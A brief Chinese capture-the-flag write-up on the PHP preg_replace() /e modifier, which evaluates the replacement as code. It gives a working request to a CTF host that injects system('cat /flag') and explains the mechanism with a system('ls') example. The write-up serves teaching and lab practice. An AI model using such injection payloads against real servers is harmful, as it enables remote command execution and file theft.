preg_replace()
源码
|
思路
存在函数preg_replace()存在/e选项 ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32820/?name=system(%27cat%20/flag%27); |
知识点
在 PHP 的 preg_replace()
函数中,/e
是一个修饰符,表示对替换部分进行 eval()
处理,也就是说,替换部分会被当作 PHP 代码执行。
如果传入 system('ls')
作为替换部分,那么 preg_replace()
将会执行 system('ls')
命令,并将结果用于替换匹配到的部分。
$pattern = '/hack/e'; |
在这个例子中,preg_replace()
将会找到 hack
,然后执行 system('ls')
,并将结果用于替换 hack
。